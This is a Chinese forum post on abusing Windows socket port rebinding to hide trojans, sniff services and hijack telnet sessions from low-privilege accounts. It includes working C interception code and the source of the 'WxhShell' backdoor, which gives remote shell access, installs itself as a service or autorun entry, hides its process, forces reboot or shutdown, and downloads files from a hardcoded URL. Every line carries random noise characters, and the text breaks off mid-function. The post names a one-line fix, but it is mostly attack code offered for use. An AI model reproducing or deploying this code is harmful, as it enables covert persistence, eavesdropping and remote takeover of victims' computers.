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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: M?o`tWLhF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); M DpXth7  
?{'Q}%  
  saddr.sin_family = AF_INET; V RL6F2 >6  
$- L)>"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  W~4|Z=f  
&!=3Fbn  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !p2&$s"N.  
y[vjqfdmU  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0IK']C  
D~Su82 2  
  这意味着什么?意味着可以进行如下的攻击: T+fU +GLD  
h4C B1K  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 mon(A|$|j  
-?[:Zn~$a  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +^.(3Aw  
>jcNo3S  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 = ~yh[@R)  
'D bHXS7N  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [T|~K h%#  
S}+n\pyQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wR KGJ  
0Z\fK>yw  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 vgV0a{u"  
vDemY"wz  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &lD4-_2J  
g7F>o76M  
  #include h OV+}P6  
  #include rpd3Rp  
  #include nV<YwqK  
  #include    +um; eL7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )/BKN`,  
  int main() @sVBG']p  
  { XOxm<3gXn  
  WORD wVersionRequested; 3M^ /   
  DWORD ret; '+`CwB2  
  WSADATA wsaData; ioZ2J"s  
  BOOL val; mCg5-E~;  
  SOCKADDR_IN saddr; /OViqZ;9  
  SOCKADDR_IN scaddr; 1j}o. 0\  
  int err; #0weN%  
  SOCKET s; JAgec`T%  
  SOCKET sc; GU=h2LSi]  
  int caddsize; )xi|BqQz  
  HANDLE mt; J?%Z7&/M>  
  DWORD tid;   g|W~0A@D  
  wVersionRequested = MAKEWORD( 2, 2 ); Bs^W0K$uBO  
  err = WSAStartup( wVersionRequested, &wsaData ); 0\.y0 K8  
  if ( err != 0 ) { #u#s'W  
  printf("error!WSAStartup failed!\n"); )]v vp{  
  return -1; ?Hq`*I?b9  
  } J9{B  
  saddr.sin_family = AF_INET; D|OX]3~  
   $)kIYM&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~fr1O`8  
c!s{QWd%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); J`\%'pEn  
  saddr.sin_port = htons(23); 7pkc*@t  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W(EU*~<UC  
  { G3KiU($V  
  printf("error!socket failed!\n"); pS51fF9  
  return -1; mz>"4-]  
  } ([s2F%S`@  
  val = TRUE; ='>k|s:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $vicxE~-E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) e -x{7  
  { F)!B%4  
  printf("error!setsockopt failed!\n"); %]d^B |  
  return -1; *pj&^W?  
  }  :;rd!)5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .,-t}5(VSq  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2g|+*.*`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E}yl@8g:#  
jR*1%.Ng  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l =xy_ TCf  
  { KK/~W  
  ret=GetLastError(); pvkru-i]  
  printf("error!bind failed!\n"); jg' 'T1)  
  return -1; >|mmJ4T  
  } ?;!l-Dy  
  listen(s,2); {'EQ%H $q  
  while(1) s:,BcVLx^  
  {   /zM  
  caddsize = sizeof(scaddr); kznmA`#jn  
  //接受连接请求 e*=N\$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  pb6z)8  
  if(sc!=INVALID_SOCKET) l. !5/\  
  { LQ373 j-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yLG`tU1  
  if(mt==NULL) P]1`=-  
  { ^0c:ro  
  printf("Thread Creat Failed!\n"); %Gh!h4Pv  
  break; cT-XF  
  } /a(xUm@.  
  } Q3'\Vj,S&  
  CloseHandle(mt); QzCu$ [  
  } !ku5P+y$  
  closesocket(s); {H=DeQ  
  WSACleanup(); vrLI`3n]  
  return 0; rK9X68)  
  }   *C}vy`X  
  DWORD WINAPI ClientThread(LPVOID lpParam) wk' |gI[W  
  { 'OK)[\  
  SOCKET ss = (SOCKET)lpParam; ULkjY1&  
  SOCKET sc; VMe~aUd  
  unsigned char buf[4096]; wspZ Eu>C;  
  SOCKADDR_IN saddr; LSs!U 3"  
  long num; 7?Q<kB=f  
  DWORD val; eZ8~t/8  
  DWORD ret; W4Tuc:X5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Dh*Uv,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   'x$>h)t]  
  saddr.sin_family = AF_INET; {|9x*I  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @rB!47!  
  saddr.sin_port = htons(23); "d^hY}Xx  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f,wB.MN  
  { +vY8HQ|v  
  printf("error!socket failed!\n"); 82O#Fe q  
  return -1; TyI"fP  
  } FFQ=<(Ki  
  val = 100; H.3+5 po  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }\!&3^I  
  { \#?n'qyj  
  ret = GetLastError(); HN9!~G  
  return -1; f| P%  
  } .'.#bH9K  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zZ@]Kq;.s  
  { =87.6Ai  
  ret = GetLastError(); A%qlB[!:  
  return -1; z~i=\/~tZ  
  } ( qG | .a  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  } Wx#"6  
  { C]59@z;+bN  
  printf("error!socket connect failed!\n"); %eW[`uyV  
  closesocket(sc); 5Arx"=c  
  closesocket(ss); KV v0bE  
  return -1; )L fXb9}  
  } 6EfGJq  
  while(1) HIM>%   
  { >*rH Nf  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |wW_Z!fL  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 hYO UuC  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 RKB--$ibj  
  num = recv(ss,buf,4096,0); 9U$n;uA  
  if(num>0) wju2xM  
  send(sc,buf,num,0); ozv:$>v@"  
  else if(num==0) Huzw>  
  break; M`^;h:DN^  
  num = recv(sc,buf,4096,0); "_dh6naZX  
  if(num>0) l;_zXN   
  send(ss,buf,num,0); =I. b2e 1z  
  else if(num==0) :y#KR\T1  
  break; iF:`rIC  
  } ,I# X[^/  
  closesocket(ss); $42%H#  
  closesocket(sc); Eo)w f=rE9  
  return 0 ; pI*/ - !I  
  } -OY[x|0  
d9@!se9&Z  
Ewg5s?2|  
========================================================== cEzWIS?pp\  
,#;%ILF4%  
下边附上一个代码,,WXhSHELL 'U=D6X%V9m  
J<8~w; i  
========================================================== QI\&D)  
v"x{oD$R  
#include "stdafx.h" I[b@U<\  
eLC}h %  
#include <stdio.h> ~xz3- a/  
#include <string.h> #N"zTW%  
#include <windows.h> GWP;; x%  
#include <winsock2.h> w783e  
#include <winsvc.h> L_$M9G|5n  
#include <urlmon.h> eO<:X|9T  
&j2fh!\4  
#pragma comment (lib, "Ws2_32.lib") %\xwu(|kN  
#pragma comment (lib, "urlmon.lib") LeY!A#j  
>we/#C"x  
#define MAX_USER   100 // 最大客户端连接数 8!e1T,:b  
#define BUF_SOCK   200 // sock buffer RJMrSz$  
#define KEY_BUFF   255 // 输入 buffer h9Zf4@w  
S(;3gQ77  
#define REBOOT     0   // 重启 DFvLCGkDk  
#define SHUTDOWN   1   // 关机 Mk-C&#'  
H}KJd5A7  
#define DEF_PORT   5000 // 监听端口 C+/D!ZH%P  
&W1{o&  
#define REG_LEN     16   // 注册表键长度 d9/YW#tm  
#define SVC_LEN     80   // NT服务名长度 w`~j(G4N  
=1D* JU  
// 从dll定义API FBfyW- 7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e<|'   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 23a&m04Rk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I<Vh Eo,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^%|(dMo4  
41swG  
// wxhshell配置信息 VU>s{_|{  
struct WSCFG { E|f&SEnzK  
  int ws_port;         // 监听端口 Dim,HPx]d  
  char ws_passstr[REG_LEN]; // 口令 8'+XR`g:ax  
  int ws_autoins;       // 安装标记, 1=yes 0=no @21G[!%J  
  char ws_regname[REG_LEN]; // 注册表键名 M5OH-'  
  char ws_svcname[REG_LEN]; // 服务名 l\l\T<wa,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~5aq.hF1,A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :z=/z!5:j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |q$br-0+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7QiJ1P.z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "yMr\jt~-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X/,4hjg  
7Kx3G{5ja  
}; eW*nRha  
E&k{ubcT  
// default Wxhshell configuration [ @> 8Qhw  
struct WSCFG wscfg={DEF_PORT, 7`3he8@ze  
    "xuhuanlingzhe", S\<]|tM:x  
    1, ilv6A9/  
    "Wxhshell", ,cm;A'4]  
    "Wxhshell", &,':@OQ  
            "WxhShell Service", LQYT/  
    "Wrsky Windows CmdShell Service", g5TXs^g  
    "Please Input Your Password: ", BY: cSqAW  
  1, n }lav  
  "http://www.wrsky.com/wxhshell.exe", c4CBpi?}  
  "Wxhshell.exe" k}-%NkQ 9O  
    }; Y=/3_[G   
6YT*=\KT  
// 消息定义模块 z x{\SU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NWB/N*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?7:"D e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \@4QG.3&  
char *msg_ws_ext="\n\rExit."; D00rO4~6D%  
char *msg_ws_end="\n\rQuit."; ;D]TPBE  
char *msg_ws_boot="\n\rReboot..."; b]6;:Q!d  
char *msg_ws_poff="\n\rShutdown..."; (FMGW (  
char *msg_ws_down="\n\rSave to "; BU:s&+LYUv  
?MeP<5\A  
char *msg_ws_err="\n\rErr!"; C%#C|X193  
char *msg_ws_ok="\n\rOK!"; zEY Ey1  
Uk ?V7?&  
char ExeFile[MAX_PATH]; ]5td,2E C  
int nUser = 0; ^f!d8 V  
HANDLE handles[MAX_USER]; (m3p28Q?  
int OsIsNt; aI|)m8 >)X  
.(;k]U P  
SERVICE_STATUS       serviceStatus;  [.z1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )'%L#  
Q8Usyc'3  
// 函数声明 6@o_MtI  
int Install(void); }Sp MHR`  
int Uninstall(void); Q*$x!q  
int DownloadFile(char *sURL, SOCKET wsh); xKsn);].`  
int Boot(int flag); e~rBV+f  
void HideProc(void); oB9Fas!N  
int GetOsVer(void); E_?3<)l)RI  
int Wxhshell(SOCKET wsl); RW>Z~Nj  
void TalkWithClient(void *cs); ; @Gm@d  
int CmdShell(SOCKET sock); X+ iA"B  
int StartFromService(void); XNu2G19jb  
int StartWxhshell(LPSTR lpCmdLine); =]W{u`   
[Z Ea3/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); # FaR?L![Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); XfbkK )d  
pJ_Z[}d)c  
// 数据结构和表定义 Y/Y746I  
SERVICE_TABLE_ENTRY DispatchTable[] = " I`YJEv  
{ =K8`[iH  
{wscfg.ws_svcname, NTServiceMain}, E pM 4 +  
{NULL, NULL} 8agd{bxU  
}; <#|3z8N2  
SCxzT}#J  
// 自我安装 Iob o5B  
int Install(void) _,F wt  
{ MiOSSl};  
  char svExeFile[MAX_PATH]; zKV {JUpG  
  HKEY key; UQW;!8J#R(  
  strcpy(svExeFile,ExeFile); 5-u=ZB%p  
s?%1/&.~  
// 如果是win9x系统,修改注册表设为自启动 bk4%lYJ"  
if(!OsIsNt) { :^iR&`2~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m@HU;J\I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6oUT+^z#  
  RegCloseKey(key); 3Q`'C7Pi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +oQ@E<)H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >!WJ{M0  
  RegCloseKey(key); HM[BFF[;/  
  return 0; 8KoPaq   
    } =~aJ]T}(  
  } eW >k'ez  
} SKG_P)TnO  
else { _TX.}167;-  
SZwfYY!ft0  
// 如果是NT以上系统,安装为系统服务 ',1rW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kP;Rts8JD  
if (schSCManager!=0) V l9\&EL  
{ $<33E e:a  
  SC_HANDLE schService = CreateService XTeU 2I  
  ( L YH9P-5H  
  schSCManager, _bMs~%?~/  
  wscfg.ws_svcname, {n1o)MZ]R  
  wscfg.ws_svcdisp, s` S<BX7  
  SERVICE_ALL_ACCESS, QL\'pW5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n!tCz<v  
  SERVICE_AUTO_START, [;.zl1S<  
  SERVICE_ERROR_NORMAL, .)W8 U [  
  svExeFile, msoE8YK&tg  
  NULL, $fh?(J  
  NULL, sk],_l<  
  NULL, +p43d:[  
  NULL, fwl RwH(  
  NULL E|^a7-}|  
  ); 14^t{  
  if (schService!=0) 7`WK1_rR\  
  { +F0M?,  
  CloseServiceHandle(schService); J\ 3~  
  CloseServiceHandle(schSCManager); (cCB3n\20  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +*|E%pq  
  strcat(svExeFile,wscfg.ws_svcname); 1P[!B[;c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %l5J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bo@1c0  
  RegCloseKey(key); !J6k\$r  
  return 0; x&?35B i  
    } M=!x0V;  
  } h"<rW7z  
  CloseServiceHandle(schSCManager); xwz2N5  
} Kk/qd)nk  
} 8taaBM`:  
]*v%(IGK  
return 1; .UJDn^@  
} ,Ma$:6`f  
9vVYZ}HC  
// 自我卸载 7qnw.7p  
int Uninstall(void) `Y'}\>.#  
{ `|]juc  
  HKEY key; GadD*psD2  
r?[Zf2&  
if(!OsIsNt) { &{7%Vs TB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G2em>W_n  
  RegDeleteValue(key,wscfg.ws_regname); wtRAq/  
  RegCloseKey(key); b ~F8 5U2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %7hYl'83  
  RegDeleteValue(key,wscfg.ws_regname); i  #8)ad  
  RegCloseKey(key); G `TO[p]q  
  return 0; gI T"nG=a4  
  } v/CXX<^U(  
} jg2>=}  
} '{ C=vW  
else { FVHEb\Z  
t&-7AjS5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h( Iti&  
if (schSCManager!=0) O~igwFe  
{ 0naegy?,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J/ 4kS<c  
  if (schService!=0) E Xo"F*gW  
  { %/~Sq?f-9@  
  if(DeleteService(schService)!=0) { ^gD&NbP8  
  CloseServiceHandle(schService); m[%&K W(  
  CloseServiceHandle(schSCManager); (?oK+,v?L  
  return 0; * y u|]T  
  } d)9=hp;,V  
  CloseServiceHandle(schService); 91[(K'=&  
  } ^|OxlfS  
  CloseServiceHandle(schSCManager);  rf oLg  
} _18) XR  
} ".~,(*  
b m`x  
return 1;  ig jr=e  
} Un@dWf6'  
Me2%X>;  
// 从指定url下载文件 kwWDGA?zFB  
int DownloadFile(char *sURL, SOCKET wsh) V+-%$-w>  
{ :[,-wZiT~6  
  HRESULT hr; PkMN@JS  
char seps[]= "/"; f{G ^b&x  
char *token; z'j4^Xz?%$  
char *file; !w{4FE74  
char myURL[MAX_PATH]; xrf z-"n4  
char myFILE[MAX_PATH]; h b_"E, `F  
<0T|RhbY   
strcpy(myURL,sURL); >-0Rq[)  
  token=strtok(myURL,seps); +9<"Y6  
  while(token!=NULL) lvY[E9I0  
  { xG/B$DLn  
    file=token; 8,7^@[bzXx  
  token=strtok(NULL,seps); <hvs{}TS  
  } -M5vh~Tp  
JlR$"GU  
GetCurrentDirectory(MAX_PATH,myFILE); ti'B}bH>'  
strcat(myFILE, "\\"); EM QGP<[  
strcat(myFILE, file); cD6S;PSg  
  send(wsh,myFILE,strlen(myFILE),0); Pm&hv*D  
send(wsh,"...",3,0); E@,m +  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /s*.:cdH  
  if(hr==S_OK) @GUlw[vi  
return 0; YLJ^R$pi  
else ~-R%m  
return 1; )G#mC0?PV  
o3]Lrzh  
} |;:g7eb  
5EU~T.4C<  
// 系统电源模块 !7Eodq-0  
int Boot(int flag) 3ew4QPT'  
{ =PU($  
  HANDLE hToken; `AYq,3V  
  TOKEN_PRIVILEGES tkp; XeX\u3<D  
?iZ2sRWR6  
  if(OsIsNt) { Nv=78O1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *Nm$b+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CP~mKmMV  
    tkp.PrivilegeCount = 1; 1U% /~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k&2=-qgVR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); > vdmN]  
if(flag==REBOOT) { C];P yQS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,AmwsXN"F  
  return 0; )adV`V%=>  
} N_I KH)  
else { 9w$m\nV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +$|fUn{  
  return 0; (`S^6 -^  
} XeX"IhgS>E  
  } t;BUZE_!0c  
  else { y~fKLIoz"  
if(flag==REBOOT) { t%;w<1E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >!6|yk`GJ  
  return 0; [% C,&h5  
} ,Cb3R|L8  
else { 3w</B- |nQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CJ* D  
  return 0; z%OKv[/N  
} 8 q@Z  
} W7^[W.  
T9C_=0(hn  
return 1; $P=C7;  
} &)Xc'RQ.C  
7~ PL8  
// win9x进程隐藏模块 Gq^vto  
void HideProc(void) 51SmoFbMz  
{ N7?B"p/  
")T\_ME  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O2?C *  
  if ( hKernel != NULL ) _dJ(h6%3  
  { 64<;6*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ix5&B6L8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G3~`]qf  
    FreeLibrary(hKernel); x@t?7 o\&  
  } 5&ku]l+  
l~6K}g?  
return; m1l6QcT1  
} H$KO[mW}  
VPe0\?!d  
// 获取操作系统版本 Z!)~?<gcq:  
int GetOsVer(void) !sb r!Qt  
{ \84t\jKR  
  OSVERSIONINFO winfo; <kak9 6A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;2p+i/sVj  
  GetVersionEx(&winfo); Yc:%2KZ"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =dmr ,WE  
  return 1; \D7bTn  
  else S#7YJ7 K"N  
  return 0; ~HZdIPcC  
} e-nA>v  
o*S_"  
// 客户端句柄模块 zLpCKndj  
int Wxhshell(SOCKET wsl) 7>FXsUt_  
{ /Mqhx_)>A  
  SOCKET wsh; i%hCV o  
  struct sockaddr_in client; Lo%n{*if  
  DWORD myID; '5e,@t%y  
$[ {5+*  
  while(nUser<MAX_USER) c-a,__c?hx  
{ "Ms;sdjg}&  
  int nSize=sizeof(client); ,_2-Op  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A,}M ^$@  
  if(wsh==INVALID_SOCKET) return 1; jD: N)((  
+y GQt3U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g'8Y5x[  
if(handles[nUser]==0) #B `?}a=  
  closesocket(wsh); ;]{ee?Q^ld  
else dftBD  
  nUser++; [q <'ty  
  } SmRlZ!%e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }E'0vf /  
2jsbg{QS#_  
  return 0; NAbVH{*\U  
} p3Sh%=HE'  
}9~^}99}  
// 关闭 socket YH&=cI@  
void CloseIt(SOCKET wsh) JK k0f9)  
{ _P>YG<*"kQ  
closesocket(wsh); (eHyas %X  
nUser--; o/5-T4  
ExitThread(0); i+_LKHQN  
} gFDnt  
i "8mrWb  
// 客户端请求句柄 ys[Li.s:  
void TalkWithClient(void *cs) !X>u.}?g  
{ V%Uj\cv  
>Vuvbo   
  SOCKET wsh=(SOCKET)cs; v+c>iI  
  char pwd[SVC_LEN]; x 7j#@C  
  char cmd[KEY_BUFF]; $TQhr#C]  
char chr[1]; YeH!v, >  
int i,j;  Z>[7#;;  
nm'l}/Ug  
  while (nUser < MAX_USER) { 91-bz^=xO  
Hbm 4oYN  
if(wscfg.ws_passstr) { bJ^JK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zWsr|= [  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $=aO*i  
  //ZeroMemory(pwd,KEY_BUFF); #c"eff  
      i=0; BZR{}Aj4pa  
  while(i<SVC_LEN) { D6 B-#u!M  
]WT@&F  
  // 设置超时 12$0-@U  
  fd_set FdRead; h Yu6PWK  
  struct timeval TimeOut; ~9X^3.nI  
  FD_ZERO(&FdRead); {#,<)wFV\  
  FD_SET(wsh,&FdRead);  Fr%#  
  TimeOut.tv_sec=8; \kADh?phV  
  TimeOut.tv_usec=0; .*O*@)}Ud  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %#6@PQ[R.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bIQ,=EA1  
TBlSZZ-55]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !avol/*  
  pwd=chr[0]; j=\h|^gA  
  if(chr[0]==0xd || chr[0]==0xa) { c`6c)11K  
  pwd=0; `lhw*{3A  
  break; kZ]H[\Fs  
  } U,P_bz*)  
  i++; FX:`7c]:9  
    } 4u{S?Ryy  
FD=% 4#|  
  // 如果是非法用户,关闭 socket uF ?[H -y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :]3X Ez  
} ^r}c&@  
)^(*B6;z5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EF/d7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s%[F,hQRk  
KE?t?p  
while(1) { r )|3MUj  
3m1g"  
  ZeroMemory(cmd,KEY_BUFF); Vk5Z[w a  
5Xy(za  
      // 自动支持客户端 telnet标准   `Rq=:6U;3  
  j=0;  01kRe  
  while(j<KEY_BUFF) { ChBf:`e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4pmeu:26  
  cmd[j]=chr[0]; K#"=*p,  
  if(chr[0]==0xa || chr[0]==0xd) { h]7_ N,  
  cmd[j]=0; T,38Pu@r  
  break; \Ne`9k  
  } n ]%2Kx  
  j++; Y,]Lk<Hm3  
    } 3:nhZN/95T  
 _"DC )  
  // 下载文件 vHaM yA-  
  if(strstr(cmd,"http://")) { <JPN< Kv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {i;,Io7 W  
  if(DownloadFile(cmd,wsh)) d_[H|H9i6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y,L`WeQY.  
  else #*A'<Zm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +IZ=E >a  
  } >t+ ENYb  
  else { DYX{v`>f^  
s.1F=u9a  
    switch(cmd[0]) { Y;w|Fvjj+  
  G?4@[m  
  // 帮助 rFzNdiY  
  case '?': { *tjaac;z<J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _|~Dj)z  
    break; aIgexi,  
  } VH7t^fb  
  // 安装 18$d-[hX  
  case 'i': { ^}  {r@F  
    if(Install()) !Uiq3s`1T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lf_Y4a#  
    else 74^v('-2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @ZEBtM%.O  
    break; #p+iwW-  
    } L : $ `8  
  // 卸载 4Kqo>|C  
  case 'r': { _hnsH I!oD  
    if(Uninstall()) S5>s&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hcVu`Bn  
    else Y9BQLu4F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &5 7c !)  
    break; wv~:^v'  
    } }6Pbjm*  
  // 显示 wxhshell 所在路径 V x#M!os0  
  case 'p': { X5owAc6  
    char svExeFile[MAX_PATH]; `2>p#`  
    strcpy(svExeFile,"\n\r"); 6R :hsC$  
      strcat(svExeFile,ExeFile); Ry95a%&/s  
        send(wsh,svExeFile,strlen(svExeFile),0); qV=:2m10x  
    break; _2KIe(,;  
    } L|1,/h 8p  
  // 重启 NQD5=/o  
  case 'b': { tE %g)hL-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $9%F1:u  
    if(Boot(REBOOT)) *+v*VH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eEXNEgbn  
    else { yPE3Awh5  
    closesocket(wsh); 2l?^\9&  
    ExitThread(0); [IHo ~   
    } ,X!)zAmm  
    break; {Q>OZm\+  
    } L#S W!  
  // 关机 'p5M|h\:T  
  case 'd': { aEdA'>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %N Q mV_1  
